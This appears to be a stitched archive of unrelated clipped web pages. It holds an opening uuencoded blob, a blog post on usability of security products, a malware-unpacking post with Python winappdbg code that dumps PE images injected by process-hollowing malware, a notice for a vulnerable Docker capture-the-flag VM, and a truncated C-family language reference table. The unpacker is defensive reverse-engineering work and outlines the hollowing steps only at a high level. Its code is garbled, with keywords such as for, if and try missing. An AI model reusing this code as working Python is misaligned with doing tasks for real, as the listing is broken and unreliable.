    MD4[9%'P-)\5)`AF3%KPL9R5+%A&>QQ@)+]`_(+1[`B77,<?I7K3;:8'%6.V>
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
    *\G](1\1W`%``````
    `
    end
    
[/code]

# Complexity - A Sure Way to Fail

**Created:**| _1/13/2011 3:27:41 PM_  
---|---  
**Updated:**| _1/13/2011 3:30:10 PM_  
**Author:**| __  
**Tags:**| _opinion_  
  

# Complexity - A Sure Way to Fail

  

Tuesday, January 11, 2011

  

There has been a good deal of griping lately about what "_us security people_
" are calling the "dumbing down" of products in whatever product space.

By this of course I mean products that seemingly drop advanced features to
make themselves "easy to use" by the general end-user.

While almost every single product's marketing page has "Ease of Use" as one of
the checkbox features, it's rare that this actually manifests itself in the
real products. The end result of difficult to use security products is clear -
security breaches are rampant. You don't have to take my word for it, do a
search.

Even though simplicity isn't the end goal of product development teams, it's
important that the end user's ability to **do something meaningful** in the
product with as little confusion, keystrokes, mouse clicks or "RTFM" as
possible be weighted just as heavily as the product's ability to perform it's
advertised key functions. In the end if the product has amazing features no
one can figure out - they won't be used.

I have some experience with product teams, so I thought I would weigh in, and
impart some of the things I've learned in my years with interacting directly
with, and supporting product teams.

**Dumbing Down Security?**

First and foremost, I don't think that products that make themselves _simple
to use_ are necessarily "dumbing down security" in any way. In fact, I would
argue quite the opposite. In a well-done product, _simple to use_ features
make security more accessible, more usable and therefore - more consumable by
a wider range of people. In the end, doesn't that benefit everyone?

If you want "dumbed down security" you can certainly find it throughout the
products out there. I won't argue that there aren't products that have become
so "simple to use" that the added value to security is minimal, but I wouldn't
blame that entirely on the _simple to use_ principle.

In fact, I would blame the product teams for not working hard enough to make
those features that are required to make security potent better activated by
all that simplicity.

**Transparent, Simple**

Ultimately, I've debated over and over that in order to have a meaningful
impact, security must be transparent to the user, and as simple as possible.
Complexity doesn't enable the user, and we all know what happens when we give
end-users too many knobs, buttons and switches... they either freeze like the
deer in headlights and make no decisions - or make poor ones based on
guesses... either way things go poorly.

In the case of security administrators \(or analysts\) the more complex we
make products the more we force people to specialize. This specialization
makes it almost certain that when a company needs to hire that 1 person who
understands their firewalls, IPSs, DLP devices and everything else that they
will be good at **one product** and have to read manuals for the rest. That's
not a very good sign...

I'm not saying we have to have interfaces for security devices designed for
the 6th grader in all of us - but it would help if the many devices, and
mechanisms out there didn't require a Master's degree and a vendor
certification to operate properly. "Out of the box" things should be usable...
and if they're not we should ask why, rather than simply accept that we're too
dumb to use them properly.

Transparent security is **the** pinnacle of the security mountain because it's
a true test of simplicity and design power. If your anti-malware widget on
your laptop can install simply and give you warnings when "things are going
amok" with an intelligent analysis that doesn't require you to be a PhD in
security jargon - then it's a win because you'll know whether to hit the
"block" or "accept" buttons... right?

It's even better if those decisions are made _for the end user_ without
intervention, all while not interrupting legitimate work or play. While I know
we're not there \(yet\) and maybe we'll never be ... it's something to aspire
to.

**Striking a Balance**

In the final analysis - it's really all about striking a balance. Making
products simple, transparent while making them powerful and giving them
meaningful positive impact on security posture. While it's cool to be a
command-line ninja, let's face it - there aren't many of them out there... and
enterprise as well as personal security shouldn't be directly proportional to
one's ability to perform script-fu at the machine level.

Every security product should aspire to be the "**Easy Button** " but without
losing too much capability to actually perform security tasks and do the
things that need to be done to protect the user, the system or the enterprise
from threats.

How does that balance happen? Careful research combined with extremely
seasoned security products managers combined with a team that performs
_usability testing_ and provides frank and honest feedback to those products
teams.

This balance also gets feedback from people that use these products everyday.

Remember, it's not OK to be told to go read the manual because you're too dumb
to understand "product X"... if it's not readily evident \(and not some super-
advanced feature like teleportation\) and the vendor can't tell you why it's
not readily evident - then maybe they're doing it wrong. Voice your opinion
and tell them.

Simplicity and transparency in perfect harmony with capability - this is the
secret recipe for the perfect security product... ensuring uptake \(adoption
rates\), usage \(end-user use\), and ultimately a safer experience  
.

_Cross-posted fromFollowing the White Rabbit_

# dream of a reverse engineer: Dynamic Automatic Unpacking for RunPE,Process
Hollowing Malware\(winappdbg\)

**Created:**| _10/6/2014 9:21:45 PM_  
---|---  
**Updated:**| _10/6/2014 9:21:45 PM_  
**Author:**| __  
**Tags:**| _unpacking_  
  

# Dynamic Automatic Unpacking for RunPE,Process Hollowing Malware\(winappdbg\)

The code shows simple usage of winappdbg. This can be implemented in other
debugger in Pydbg.

Process Hollowing ,RunPE or Process Forking are more or less the same terms
used for the same technique. In this method a malware creates a process in
suspended mode then injects decrypted PE into the suspended process and then
executes it.

There are lot of POCs for process hollowing in internet.

One of the method is as follows:

1\)Process Created in Suspended mode

2\)Call to GetThreadContext

3\)Call VirtualAlloc and copy unpacked PE to it

4\)Call WriteProcessMemory to write the decrypted PE to suspended process

5\)Call SetThreadContext

6\) Call to ResumeThread

My objective is to dump the unpacked PE in Step 3 to disk.

Following is code. This is just a crude code. I have not done any sort to
validation and error checking here. I have used some code available on
internet.Feel free to modify the code.

**NOTE:** This wont work for all types of process hollowing

**CODE:**

[code]

    #please pass absolute path of the file to be unpacked
[/code]

[code]

    from winappdbg import Debug, EventHandler,Process, System, CrashDump, HexInput, HexDump,win32
[/code]

[code]

    def process_read( pid, address, length ):
[/code]

[code]

        process = Process( pid )
[/code]

[code]

        # Read the process memory.
[/code]

[code]

        data = process.read( address, length )
[/code]

[code]

        return data
[/code]

[code]

    def action_WriteProcessMemoryW(event):
[/code]

[code]

        # Get the return address of the call
[/code]

[code]

        address = event.get_thread().read_stack_dwords(1)[0]
[/code]

[code]

        fo = open("C:/unpacked.bin", )
[/code]

[code]

        # Get the process and thread IDs
[/code]

[code]

        pid     = event.get_pid()
[/code]

[code]

        tid     = event.get_tid()
[/code]

[code]

        process         = Process(pid)
[/code]

[code]

        bufferAddr=event.get_thread().read_stack_dwords(6)[3] #6  no of dwords grabbed from stack [0]  retuen addr [3]  3rd argument
[/code]

[code]

        print hex(bufferAddr)
[/code]

[code]

        print "xxxxxxx"
[/code]

[code]

        memoryMap       = process.get_memory_map()
[/code]

[code]

        readable    = 0
[/code]

[code]

        writeable   = 0
[/code]

[code]

        executable  = 0
[/code]

[code]

        private     = 0
[/code]

[code]

        mapped      = 0
[/code]

[code]

        image       = 0
[/code]

[code]

        total       = 0
[/code]

[code]

         mbi  memoryMap:
[/code]

[code]

            #print hex(mbi.BaseAddress)
[/code]

[code]

             mbi.BaseAddress == bufferAddr:
[/code]

[code]

                print "dumping data"
[/code]

[code]

                print hex(mbi.BaseAddress)
[/code]

[code]

                print hex(mbi.RegionSize)
[/code]

[code]

                data=process_read(pid,mbi.BaseAddress,mbi.RegionSize)
[/code]

[code]

                fo.write(data)
[/code]

[code]

                fo.close()
[/code]

[code]

    # This function will be called when our breakpoint  hit
[/code]

[code]

    def action_CreateProcessW( event ):
[/code]

[code]

        address = event.get_thread().read_stack_dwords(1)[0]
[/code]

[code]

        # Get the process and thread IDs
[/code]

[code]

        pid     = event.get_pid()
[/code]

[code]

        tid     = event.get_tid()
[/code]

[code]

    class MyEventHandler( EventHandler ):
[/code]

[code]

        def load_dll( self, event ):
[/code]

[code]

            # Get the  module object
[/code]

[code]

            module = event.get_module()
[/code]

[code]

            # If it's kernel32.dll...
[/code]

[code]

             module.match_name("kernel32.dll"):
[/code]

[code]

                # Get the process ID
[/code]

[code]

                pid = event.get_pid()
[/code]

[code]

                # Get the address of CreateFile
[/code]

[code]

                address = module.resolve( "CreateProcessW" )
[/code]

[code]

                addressWPW = module.resolve( "WriteProcessMemory" )
[/code]

[code]

                # Set a breakpoint at CreateFile
[/code]

[code]

                event.debug.break_at( pid, address, action_CreateProcessW )
[/code]

[code]

                event.debug.stalk_at( pid, addressWPW, action_WriteProcessMemoryW )
[/code]

[code]

    def simple_debugger( argv ):
[/code]

[code]

        # Instance a Debug object, passing it the MyEventHandler instance
[/code]

[code]

        debug = Debug( MyEventHandler() )
[/code]

[code]

        :
[/code]

[code]

            debug.execv( argv )
[/code]

[code]

            debug.loop()
[/code]

[code]

        # Stop the debugger
[/code]

[code]

        finally:
[/code]

[code]

            debug.stop()
[/code]

[code]

    # When invoked from the command line,
[/code]

[code]

    # the first argument  an executable file theat needs tp be unpacked. Please provide absolute path
[/code]

[code]

    # and the remaining arguments are passed to the newly created process
[/code]

[code]

     __name__ == "__main__":
[/code]

[code]

        import sys
[/code]

[code]

        simple_debugger( sys.argv[1:] )
[/code]

# Vulnerable Docker VM - NotSoSecure

**Created:**| _9/4/2017 9:16:29 AM_  
---|---  
**Updated:**| _9/4/2017 9:16:29 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Vulnerable Docker VM

<img src='img/11765_Picture1.png' width='458' height='300' alt='Down by the
docker' />

Ever fantasized about playing with docker misconfigurations, privilege
escalation, etc. within a container?

Download this VM, pull out your pentest hats and get started <img
src='img/11764_1f642.svg' width='16' height='16' alt='🙂' />

We have 2 Modes:

  * **HARD** : This would require you to combine your docker skills as well as your pen-testing skills to achieve host compromise.
  * **EASY** : Relatively easier path, knowing docker would be enough to compromise the machine and gain root on the host machines.

We have planted 3 flag files across the various machines / systems that are
available to you. Your mission if you choose to accept would be as following:

1\. Identify all the flags \(3 in total\)

2\. Gain id=0 shell access on the host machine.

<img src='img/vulnerable_docker_containement__Running_.jpg' width='300'
height='245' alt='Vulnerable docker VM' />

# DOWNLOAD HERE

  

# C++ Style Languages: C, C++, Objective C, Java, C\# - Hyperpolyglot

**Created:**| _10/11/2011 6:31:46 PM_  
---|---  
**Updated:**| _10/11/2011 6:31:46 PM_  
**Author:**| __  
**Tags:**| _C++ Java C C\#_  
  

# Hyperpolyglot

C++ Style Languages: C, C++, Objective C, Java, C\#

_a side-by-side reference sheet_

primitive types | arithmetic and logic | strings | containers | functions | execution control | environment and i/o | libraries and namespaces | objects | generic types | reflection | history | hide language | contact | edit
| c \(1972\)| c++ \(1983\)| objective c \(1986\)| java \(1995\)| c\# \(2001\)  
---|---|---|---|---|---  
hello word| $ cat hello.c  
\#include <stdio.h>  
int main\(int argc, char \*\*argv\) \{  
printf\("Hello, World\!\n"\);  
\}  
$ gcc hello.c  
$ ./a.out  
Hello, World\!| $ cat hello.cpp  
\#include <iostream>  
using namespace std;  
int main\(int argc, char\*\*arg\) \{  
cout << "Hello, World\!" << endl;  
\}  
$ g++ hello.cpp  
$ ./a.out  
Hello, World\!| $ cat hello.m  
\#include <stdio.h>  
int main\(int argc, char \*\*argv\) \{  
printf\("Hello, World\!\n"\);  
\}  
$ gcc hello.m  
$ ./a.out  
Hello, World\!| $ cat Hello.java  
public class Hello \{  
public static void main\(String\[\] args\) \{  
System.out.println\("Hello, World\!"\);  
\}  
\}  
$ javac Hello.java  
$ java Hello  
Hello, World\!| $ cat hello.cs  
using System.Console;  
public class Hello \{  
public static void Main\(\) \{  
WriteLine\("Hello, World\!"\);  
\}  
\}  
$ mcs hello.cs  
$ mono hello.exe  
Hello, World\!  
version used  
|  _gcc 4.2.1_|  _g++ 4.2.1_|  _gcc 4.2.1_|  _java 1.6.0_|  _mono 2.6.1_  
version  
| $ gcc —version| $ g++ —version| $ gcc —version| $ javac -version| $ mcs
—version  
libraries used  
|  _C standard library_|  _STL and Boost_|  _Foundation Framework_|  _Java
API_|  _Base Class Library_  
source, header, object file suffix| .c .h .o| .cpp .hpp .o| .m .h .o| .java
_none_ .class| .cs _none_ .exe _or_.dll  
null  
| NULL| NULL| NULL| null| null  
printf  
| printf\("count: %d\n", 7\);| cout << "count: " << 7 << endl;|
printf\("count: %d\n", 7\);| System.out.printf\("count: %d", 7\);|
System.Console.WriteLine\("count: \{0\}", 7\);  
case and underscores in names| A\_MACRO\_NAME  
a\_method\_name\(\)  
a\_variable\_name| A\_MACRO\_NAME  
AClassName  
AMethodName\(\) _or_ a\_method\_name\(\)  
a\_variable\_name| A\_MACRO\_NAME  
AClassName  
\[_obj_ aMsgName:_arg_ aLabelName:_arg_\]  
aVariableName| AClassName  
aMethodName\(\)  
aVariableName| AClassName  
AMethodName\(\)  
aVariableName  
coalesce  
| char \*s1 = s2 || "was null";| string s1 = s2 || "was null";| NSString \*s1
= s2 || @"was null";| String s1 = s2 == null ? "was null" : s2;| string s1 =
s2 ?? "was null";  
primitive types  
| c| c++| objective c| java| c\#  
declare primitive type on stack| int i;  
int j = 3;| int i;  
int j = 3;  
int k\(7\);| _use C_|  int i;  
int j = 3;| int i;  
int j = 3;  
allocate primitive type on heap| \#include <stdlib.h>  
int \*ip = malloc\(sizeof\(int\)\);| int \*ip = new int;| _use C_|  _primitive
types are always stack allocated. Use a wrapper class to store on the heap:_  
Integer i = new Integer\(0\);| object i = 0;  
free primitive type on heap| \#include <stdlib.h>  
free\(ip\);| delete i;| _use C_|  _garbage collected_|  _garbage collected_  
value of uninitialized primitive types|  _stack variables and heap variables
allocated with_ malloc _have indeterminate values. Global and static variables
and heap variables allocated with_ calloc _are zero-initialized._| _same as C.
However, C++ provides a no-argument constructor for each primitive type which
zero-initializes it._| _same as C_|  _zero-initialized_|  _compiler prevents
use of uninitialized variables in some circumstances, and zero-initializes in
others_  
boolean types  
|  _none_|  bool| BOOL| boolean| bool  
signed integer types| signed char _1+ byte_  
short int _2+ bytes_  
int _2+ bytes_  
long int _4+ bytes_  
long long int _4+ bytes_|  _use C_|  _use C_|  byte _1 byte_  
short _2 bytes_  
int _4 bytes_  
long _8 bytes_|  sbyte _1 byte_  
short _2 bytes_  
int _4 bytes_  
long _8 bytes_  
unsigned integer types| unsigned char: 8+  
unsigned short int _2 bytes+_  
unsigned int _2 bytes+_  
unsigned long int _4+ bytes_  
unsigned long long int _4+ bytes_|  _use C_|  _use C_|  char _2 bytes_|  byte
_1 byte_  
ushort _2 bytes_  
uint _4 bytes_  
ulong _8 bytes_  
floating point and decimal types| float  
double  
long double|  _use C_|  _use C_|  float _4 bytes_  
double _8 bytes_|  float _4 bytes_  
double _8 bytes_  
decimal _12 bytes_  
typedef| typedef int customer\_id;  
customer\_id cid = 3;| _use C_|  _use C_|  _none_|  _none_  
enum| enum day\_of\_week \{ mon, tue, wed, thu, fri, sat, sun \};  
enum day\_of\_week d = tue;| enum day\_of\_week \{ mon, tue, wed, thu, fri,
sat, sun \};  
day\_of\_week d = tue;| _use C_|  public enum DayOfWeek \{ MON, TUE, WED, THU,
FRI, SAT, SUN \};  
DayOfWeek d = DayOfWeek.TUE;| public enum DayOfWeek \{ MON, TUE, WED, THU,
FRI, SAT, SUN \};  
DayOfWeek d = DayOfWeek.TUE;  
arithmetic and logic  
| c| c++| objective c| java| c\#  
true and false  
|  _none_|  true false| YES NO| true false| true false  
falsehoods  
| 0 0.0 NULL| false 0 0.0 NULL| 0 0.0 NULL| false| false  
logical operators| && || \!| && || \!  
and or not| && || \!| && || \!| && || \!  
relational operators| == \!= < > <= >=| _use C_|  _use C_|  == \!= < > <= >=|
== \!= < > <= >=  
operators  
| + \- \* / %| \+ - \* / %| \+ - \* / %| \+ - \* / %| \+ - \* / %  
power| \#include <math.h>  
pow\(2.0,3.0\);| \#include <boost/math/special\_functions.hpp>  
boost::math::powm1<double>\(2.0,3.0\)+1|  _use C_|  Math.pow\(2.0,3.0\);|
System.Math.Pow\(2.0,3.0\);  
absolute value| \#include <stdlib.h>  
int i = -7;  
abs\(i\);  
\#include <math.h>  
float x = -7.77;  
fabs\(x\)| _use C_|  _use C_|  Math.abs\(-7\)  
Math.abs\(-7.77\)| System.Math.Abs\(-7\)  
System.Math.Abs\(-7.77\)  
transcendental functions|  _defined in_ <math.h>:  
sqrt exp log log2 log10 sin cos tan asin acos atan atan2|  _use C_|  _use C_|
Math.sqrt Math.exp Math.log _none_ Math.log10 Math.sin Math.cos Math.tan
Math.asin Math.acos Math.atan Math.atan2| using System;  
  
Math.Sqrt Math.Exp Math.Log _none_ Math.Log10 Math.Sin Math.Cos Math.Tan
Math.Asin Math.Acos Math.Atan Math.Atan2  
arithmetic truncation| \#include <math.h>  
  
double d = 3.77;  
  
long trunc = \(long\)d;  
long rnd = round\(d\);  
long flr = floorl\(d\);  
long cl = ceill\(d\);| _use C_|  _use C_| \(long\)3.77  
Math.round\(3.77\)  
\(long\)Math.floor\(3.77\)  
\(long\)Math.ceil\(3.77\)| using System;  
  
\(long\)3.77  
Math.Round\(3.77\)  
Math.Floor\(3.77\)  
Math.Ceiling\(3.77\)  
closure of integers under division|  _integers_|  _integers_|  _integers_|
_integers_|  _integers_  
division by zero|  _process sent a_ SIGFPE _signal_|  _process sent a_ SIGFPE
_signal_|  _process sent a_ SIGFPE _signal_|  _throws_
java.lang.ArithmeticException|  _throws_ System.DivideByZeroException  
random integer| \#include <stdlib.h>  
int i = rand\(\);| \#include <boost/random.hpp>  
using namespace boost;  
mt19937 rng;  
uniform\_int<> ui\(0,RAND\_MAX\);  
variate\_generator<mt19937&, uniform\_int<> > brand\(rng, ui\);  
int i = brand\(\)| _use C_|  java.util.Random r = new java.util.Random\(\);  
int i = r.nextInt\(\);| System.Random r = new System.Random\(\);  
int i = r.Next\(\);  
bit operators|  << >> & | ^ ~ |  << >> & | ^ ~   
bitand bitor comp|  << >> & | ^ ~ |  << >> & | ^ ~ |  << >> & | ^ ~   
strings  
| c| c++| objective c| java| c\#  
string type  
| char \*| std::string| NSString| java.lang.String| string  
literal  
| "hello"| _none_|  @"hello"| "hello"| "hello"  
allocate string| \#include <string.h>  
char \*s = strdup\("hello"\);| string \*s = new string\("hello"\);| NSString
\*s = @"hello";| String s = "hello";  
String t = new String\(s\);| string s = "hello";  
string t = string.Copy\(s\);  
length  
| strlen\("hello"\)| s->length\(\)| \[s length\]| s.length\(\)| s.Length  
comparison| strcmp\("hello", "world"\)| string \*s1 = new string\("hello"\);  
string \*s2 = new stringt\("world"\);  
cout << s1->compare\(\*s2\) << endl;| \[@"hello" compare:@"hello"\]|
"hello".compareTo\("world"\)| "hello".CompareTo\("world"\)  
semantics of ==| _object identity comparison_|  _value comparison_|  _object
identity comparison_|  _object identity comparison_|  _value comparison_  
to C string  
|  _a challenge for the reader_|  s->c\_str\(\)| \[s UTF8String\]| _none_|
_none_  
numeric conversion| strtoimax strtol strtoll  
strtoumax strtoul strtoull  
strtof strtod strtold| \#include <sstream>  
stringstream ss\("7 14.3 12"\);  
int i;  
double d;  
long l;  
ss >> i >> d >> l;| \[@"14" integerValue\]  
\[@"14" longLongvalue\]  
\[@"14.7" floatValue\]  
\[@"14.7" doubleValue\]| Byte.parseByte\("14"\)  
Short.parseShort\("14"\)  
Integer.parseInt\("14"\)  
Long.parseLong\("14"\)  
Float.parseFloat\("14.7"\)  
Double.parseDouble\("14.7"\)| byte.Parse\("14"\)  
short.Parse\("14"\)  
int.Parse\("14"\)  
long.Parse\("14"\)  
float.Parse\("14"\)  
double.Parse\("14"\)  
decimal.Parse\("14"\)  
split| | \#include <boost/algorithm/string.hpp>  
\#include <vector>  
string s\("Bob Amy Ned"\);  
vector<string> vec;  
boost::split\(vec, s, boost::is\_any\_of\(" "\)\);| \[@"Bob Ned Amy"
componentsSeparatedByString:@" "\]| "Bob Ned Amy".split\(" "\)| string\[\]
names = "Bob Ned Amy".Split\(' '\);  
join  
| | | | | System.String.Join\(", ", names\)  
concatenate| char \*s1 = "hello";  
char \*s2 = " world";  
char \*s3 = \(char \*\)calloc\(strlen\(s1\) + strlen\(s2\) +
1,sizeof\(char\)\);  
strcpy\(s3,s1\);  
strcat\(s3,s2\);| string \*s1 = new string\("hello"\);  
string \*s2 = new string\(" world"\);  
cout << \*s1 + \*s2 << endl;| NSString \*s1 = @"hello";  
NSString \*s2 = @" world";  
NSString \*s3 = \[s1 stringByAppendingString:s2\];| "hello" \+ " world"|
"hello" \+ " world"  
substring| char target\[3\];  
char \*source = "hello";  
strncpy\(target, source+2, 2\);| string\("hello"\).substr\(2,2\)| \[@"hello"
substringWithRange:NSMakeRange\(2,2\)\]| "hello".substring\(2,4\)|
"hello".Substring\(2,2\)  
index| const char \*s = "hello";  
const char \*p = strstr\("hello", "ll"\);  
p ? p - s : -1;| string\("hello"\).find\("ll"\)| \[@"hello"
rangeOfString:@"ll"\].location| "hello".indexOf\("ll"\)|
"hello".IndexOf\("ll"\)  
sprintf| char buf\[100\];  
snprintf\(buf, 100, "%s: %d", "Spain", 7\);| \#include <sstream>  
